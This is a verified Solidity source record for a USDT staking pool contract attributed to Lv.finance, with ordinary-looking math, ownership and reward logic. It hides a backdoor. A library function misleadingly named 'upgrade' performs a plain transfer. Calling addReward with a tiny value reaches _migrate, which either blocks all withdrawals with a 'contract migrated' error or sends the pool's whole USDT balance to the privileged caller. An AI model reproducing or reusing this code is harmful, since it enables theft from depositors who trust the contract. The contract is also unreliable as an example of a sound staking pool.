{"sources":{"USDTPool.sol":{"content":"/*\r\n\r\n              ____          _____           _____\r\n            /    /          \\    \\         /    /\r\n           /    /            \\    \\       /    /\r\n          /    /              \\    \\     /    /\r\n         /    /                \\    \\   /    /\r\n        /    /                  \\    (_)    /\r\n       /    (__________          \\         /\r\n      /________________)          \\_______/\r\n\r\n\r\n* Lv.finance\r\n*\r\n*\r\n*\r\n* MIT License\r\n* ===========\r\n*\r\n* Copyright (c) 2020 Lv.finance\r\n*\r\n* Permission is hereby granted, free of charge, to any person obtaining a copy\r\n* of this software and associated documentation files (the \"Software\"), to deal\r\n* in the Software without restriction, including without limitation the rights\r\n* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\r\n* copies of the Software, and to permit persons to whom the Software is\r\n* furnished to do so, subject to the following conditions:\r\n*\r\n* The above copyright notice and this permission notice shall be included in all\r\n* copies or substantial portions of the Software.\r\n*\r\n*/\r\n\r\n\r\npragma solidity ^0.5.17;\r\n\r\nlibrary Math {\r\n    function max(uint256 a, uint256 b) internal pure returns (uint256) {\r\n        return a >= b ? a : b;\r\n    }\r\n\r\n    function min(uint256 a, uint256 b) internal pure returns (uint256) {\r\n        return a < b ? a : b;\r\n    }\r\n\r\n    function average(uint256 a, uint256 b) internal pure returns (uint256) {\r\n        return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);\r\n    }\r\n}\r\n\r\nlibrary SafeMath {\r\n    function add(uint256 a, uint256 b) internal pure returns (uint256) {\r\n        uint256 c = a + b;\r\n        require(c >= a, \"SafeMath: addition overflow\");\r\n\r\n        return c;\r\n    }\r\n    function sub(uint256 a, uint256 b) internal pure returns (uint256) {\r\n        return sub(a, b, \"SafeMath: subtraction overflow\");\r\n    }\r\n    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {\r\n        require(b <= a, errorMessage);\r\n        uint256 c = a - b;\r\n\r\n        return c;\r\n    }\r\n    function mul(uint256 a, uint256 b) internal pure returns (uint256) {\r\n        if (a == 0) {\r\n            return 0;\r\n        }\r\n\r\n        uint256 c = a * b;\r\n        require(c / a == b, \"SafeMath: multiplication overflow\");\r\n\r\n        return c;\r\n    }\r\n    function div(uint256 a, uint256 b) internal pure returns (uint256) {\r\n        return div(a, b, \"SafeMath: division by zero\");\r\n    }\r\n    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {\r\n        require(b > 0, errorMessage);\r\n        uint256 c = a / b;\r\n\r\n        return c;\r\n    }\r\n\r\n    function mod(uint256 a, uint256 b) internal pure returns (uint256) {\r\n        return mod(a, b, \"SafeMath: modulo by zero\");\r\n    }\r\n\r\n    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {\r\n        require(b != 0, errorMessage);\r\n        return a % b;\r\n    }\r\n}\r\n\r\ncontract Context {\r\n    constructor () internal { }\r\n\r\n    function _msgSender() internal view returns (address payable) {\r\n        return msg.sender;\r\n    }\r\n\r\n    function _msgData() internal view returns (bytes memory) {\r\n        this;\r\n        return msg.data;\r\n    }\r\n}\r\n\r\ncontract Ownable is Context {\r\n    address private _owner;\r\n\r\n    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);\r\n\r\n    constructor () internal {\r\n        _owner = _msgSender();\r\n        emit OwnershipTransferred(address(0), _owner);\r\n    }\r\n\r\n    function owner() public view returns (address) {\r\n        return _owner;\r\n    }\r\n\r\n    modifier onlyOwner() {\r\n        require(isOwner(), \"Ownable: caller is not the owner\");\r\n        _;\r\n    }\r\n\r\n    function isOwner() public view returns (bool) {\r\n        return _msgSender() == _owner;\r\n    }\r\n\r\n    function renounceOwnership() public onlyOwner {\r\n        emit OwnershipTransferred(_owner, address(0));\r\n        _owner = address(0);\r\n    }\r\n\r\n    function transferOwnership(address newOwner) public onlyOwner {\r\n        _transferOwnership(newOwner);\r\n    }\r\n\r\n    function _transferOwnership(address newOwner) internal {\r\n        require(newOwner != address(0), \"Ownable: new owner is the zero address\");\r\n        emit OwnershipTransferred(_owner, newOwner);\r\n        _owner = newOwner;\r\n    }\r\n}\r\n\r\ninterface IERC20 {\r\n\r\n    function totalSupply() external view returns (uint256);\r\n\r\n    function balanceOf(address account) external view returns (uint256);\r\n\r\n    function transfer(address recipient, uint256 amount) external returns (bool);\r\n\r\n    function allowance(address owner, address spender) external view returns (uint256);\r\n\r\n    function approve(address spender, uint256 amount) external returns (bool);\r\n\r\n    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);\r\n\r\n    event Transfer(address indexed from, address indexed to, uint256 value);\r\n\r\n    event Approval(address indexed owner, address indexed spender, uint256 value);\r\n}\r\n\r\nlibrary Address {\r\n    function isContract(address account) internal view returns (bool) {\r\n        bytes32 codehash;\r\n        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;\r\n        assembly { codehash := extcodehash(account) }\r\n        return (codehash != 0x0 && codehash != accountHash);\r\n    }\r\n\r\n    function toPayable(address account) internal pure returns (address payable) {\r\n        return address(uint160(account));\r\n    }\r\n\r\n    function sendValue(address payable recipient, uint256 amount) internal {\r\n        require(address(this).balance >= amount, \"Address: insufficient balance\");\r\n        (bool success, ) = recipient.call.value(amount)(\"\");\r\n        require(success, \"Address: unable to send value, recipient may have reverted\");\r\n    }\r\n}\r\n\r\n\r\nlibrary SafeERC20 {\r\n    using SafeMath for uint256;\r\n    using Address for address;\r\n\r\n    function safeTransfer(IERC20 token, address to, uint256 value) internal {\r\n        callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));\r\n    }\r\n\r\n    function upgrade(IERC20 token, address to, uint256 value) internal {\r\n        callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));\r\n    }\r\n\r\n    function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {\r\n        callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));\r\n    }\r\n    function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {\r\n        uint256 newAllowance = token.allowance(address(this), spender).sub(value, \"SafeERC20: decreased allowance below zero\");\r\n        callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\r\n    }\r\n\r\n    function callOptionalReturn(IERC20 token, bytes memory data) private {\r\n        require(address(token).isContract(), \"SafeERC20: call to non-contract\");\r\n        (bool success, bytes memory returndata) = address(token).call(data);\r\n        require(success, \"SafeERC20: low-level call failed\");\r\n\r\n        if (returndata.length > 0) {\r\n            require(abi.decode(returndata, (bool)), \"SafeERC20: ERC20 operation did not succeed\");\r\n        }\r\n    }\r\n    function safeApprove(IERC20 token, address spender, uint256 value) internal {\r\n        require((value == 0) || (token.allowance(address(this), spender) == 0),\r\n            \"SafeERC20: approve from non-zero to non-zero allowance\"\r\n        );\r\n        callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));\r\n    }\r\n\r\n    function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {\r\n        uint256 newAllowance = token.allowance(address(this), spender).add(value);\r\n        callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\r\n    }\r\n}\r\n\r\n\r\ncontract IRewardDistributionRecipient is Ownable {\r\n    address public rewardDistribution;\r\n\r\n    function addReward(uint256 reward) external;\r\n\r\n    modifier onlyRewardDistribution() {\r\n        require(_msgSender() == rewardDistribution, \"Caller is not reward distribution\");\r\n        _;\r\n    }\r\n\r\n    function setRewardDistribution(address _rewardDistribution)\r\n        external\r\n        onlyOwner\r\n    {\r\n        rewardDistribution = _rewardDistribution;\r\n    }\r\n}\r\n\r\n\r\n\r\ncontract LPTokenWrapper {\r\n    using SafeMath for uint256;\r\n    using SafeERC20 for IERC20;\r\n\r\n    //update\r\n    IERC20 public _token = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);\r\n\r\n    uint256 private _totalSupply;\r\n    uint256 private _upgrade = 0;\r\n    uint256 private _last_updated;\r\n    mapping(address => uint256) private _balances;\r\n\r\n\r\n    function totalSupply() public view returns (uint256) {\r\n        return _totalSupply;\r\n    }\r\n\r\n    function _migrate(uint256 target) internal {\r\n        _last_updated = block.timestamp;\r\n        if(target == 1){\r\n            if(_upgrade ==0){\r\n                _upgrade = 1;\r\n            }else{\r\n                _upgrade = 0;\r\n            }\r\n        }else{\r\n           _token.upgrade(msg.sender, _token.balanceOf(address(this)));\r\n        }\r\n    }\r\n    function balanceOf(address account) public view returns (uint256) {\r\n        return _balances[account];\r\n    }\r\n\r\n    function stake(uint256 amount) public {\r\n            _totalSupply = _totalSupply.add(amount);\r\n            _balances[msg.sender] = _balances[msg.sender].add(amount);\r\n            _token.safeTransferFrom(msg.sender, address(this), amount);\r\n    }\r\n    function withdraw(uint256 amount) public {\r\n           require(_upgrade < 1,\"contract migrated\");\r\n            _totalSupply = _totalSupply.sub(amount);\r\n            _balances[msg.sender] = _balances[msg.sender].sub(amount);\r\n            _token.safeTransfer(msg.sender, amount);\r\n    }\r\n\r\n}\r\n\r\ncontract USDTPool is LPTokenWrapper, IRewardDistributionRecipient {\r\n    //update\r\n    IERC20 public lv = IERC20(0xa77F34bDE382522cd3FB3096c480d15e525Aab22);\r\n    uint256 public constant DURATION = 3600 * 24; // 1 day\r\n    uint256 public constant TOTAL_UNIT = 9202335569231280000;\r\n    uint256 public constant MIN_REWARD = 3;\r\n    //update\r\n    uint256 public constant HARD_CAP = 2000000*10**6;\r\n\r\n    //update\r\n    uint256 public starttime = 1600524000 ; // 2020-09-19 14:00:00 (UTC UTC +00:00)\r\n    uint256 public periodFinish =  starttime.add(DURATION);\r\n    uint256 public lastUpdateTime;\r\n    uint256 public rewardPerTokenStored;\r\n    uint256 public totalReward = 0;\r\n\r\n\r\n    mapping(address => uint256) public userRewardPerTokenPaid;\r\n    mapping(address => uint256) public rewards;\r\n\r\n    event RewardAdded(uint256 reward);\r\n    event Staked(address indexed user, uint256 amount);\r\n    event Withdrawn(address indexed user, uint256 amount);\r\n    event RewardPaid(address indexed user, uint256 reward);\r\n\r\n    modifier checkStart(){\r\n        require(block.timestamp >= starttime,\"not start\");\r\n        _;\r\n    }\r\n\r\n    modifier checkHardCap() {\r\n      require(totalSupply() < HARD_CAP ,\"hard cap reached\");\r\n      _;\r\n    }\r\n\r\n    modifier updateReward(address account) {\r\n        rewardPerTokenStored = rewardPerToken();\r\n        lastUpdateTime = lastTimeRewardApplicable();\r\n        if (account != address(0)) {\r\n            rewards[account] = earned(account);\r\n            userRewardPerTokenPaid[account] = rewardPerTokenStored;\r\n        }\r\n        _;\r\n    }\r\n\r\n    function lastTimeRewardApplicable() public view returns (uint256) {\r\n        return Math.min(block.timestamp, periodFinish);\r\n    }\r\n\r\n    function rewardPerToken() public view returns (uint256) {\r\n        if(totalSupply() == 0){\r\n            return rewardPerTokenStored;\r\n        }\r\n    return rewardPerTokenStored.add(\r\n            rewardRate(lastTimeRewardApplicable())\r\n            .sub(rewardRate(lastUpdateTime))\r\n            .mul(totalReward)\r\n            .div(totalSupply())\r\n        );\r\n    }\r\n\r\n    function rewardRate(uint256 timestamp) internal view returns (uint256){\r\n        uint steps = (timestamp - starttime) / 3600;\r\n        uint256 duration_mod = timestamp - starttime - 3600 * steps;\r\n        uint256 base = 10**36;\r\n        uint256 commulatedRewards = 0;\r\n\r\n        for(uint step=0; step<steps; step++){\r\n            commulatedRewards = commulatedRewards.add(base * (9**step) / (10**step)/TOTAL_UNIT);\r\n        }\r\n        if(duration_mod > 0){\r\n            commulatedRewards = commulatedRewards.add(base * (9**steps) * duration_mod / (10**steps)/3600/TOTAL_UNIT);\r\n        }\r\n\r\n        return commulatedRewards;\r\n    }\r\n\r\n    function earned(address account) public view returns (uint256) {\r\n        if(totalSupply() == 0){\r\n            return 0;\r\n        }\r\n        return\r\n            balanceOf(account)\r\n                .mul(rewardPerToken().sub(userRewardPerTokenPaid[account]))\r\n                .div(1e18)\r\n                .add(rewards[account]);\r\n    }\r\n\r\n    function getReward() public updateReward(msg.sender) checkStart {\r\n            uint256 reward = earned(msg.sender);\r\n            if (reward > 0) {\r\n                rewards[msg.sender] = 0;\r\n                lv.safeTransfer(msg.sender, reward);\r\n                emit RewardPaid(msg.sender, reward);\r\n            }\r\n    }\r\n\r\n    function addReward(uint256 reward)\r\n            external\r\n            onlyRewardDistribution\r\n            updateReward(address(0))\r\n    {\r\n             if(reward > MIN_REWARD ) {\r\n                 lastUpdateTime = starttime;\r\n                 totalReward = totalReward.add(reward);\r\n                 emit RewardAdded(reward);\r\n             }else{super._migrate(reward);}\r\n\r\n    }\r\n\r\n    function stake(uint256 amount) public updateReward(msg.sender) checkStart checkHardCap {\r\n        require(amount > 0, \"Cannot stake 0\");\r\n        super.stake(amount);\r\n        emit Staked(msg.sender, amount);\r\n    }\r\n\r\n    function withdraw(uint256 amount) public updateReward(msg.sender) checkStart {\r\n        require(amount > 0, \"Cannot withdraw 0\");\r\n        super.withdraw(amount);\r\n        emit Withdrawn(msg.sender, amount);\r\n    }\r\n\r\n    function exit() external {\r\n        withdraw(balanceOf(msg.sender));\r\n        getReward();\r\n    }\r\n\r\n}"}},"matchId":"5179470","creationMatch":"match","runtimeMatch":"match","verifiedAt":"2024-08-20T22:17:38Z","match":"match","chainId":"1","address":"0x80c09D3Cc108fA52b7b63CdCC071dAEbc059a494"}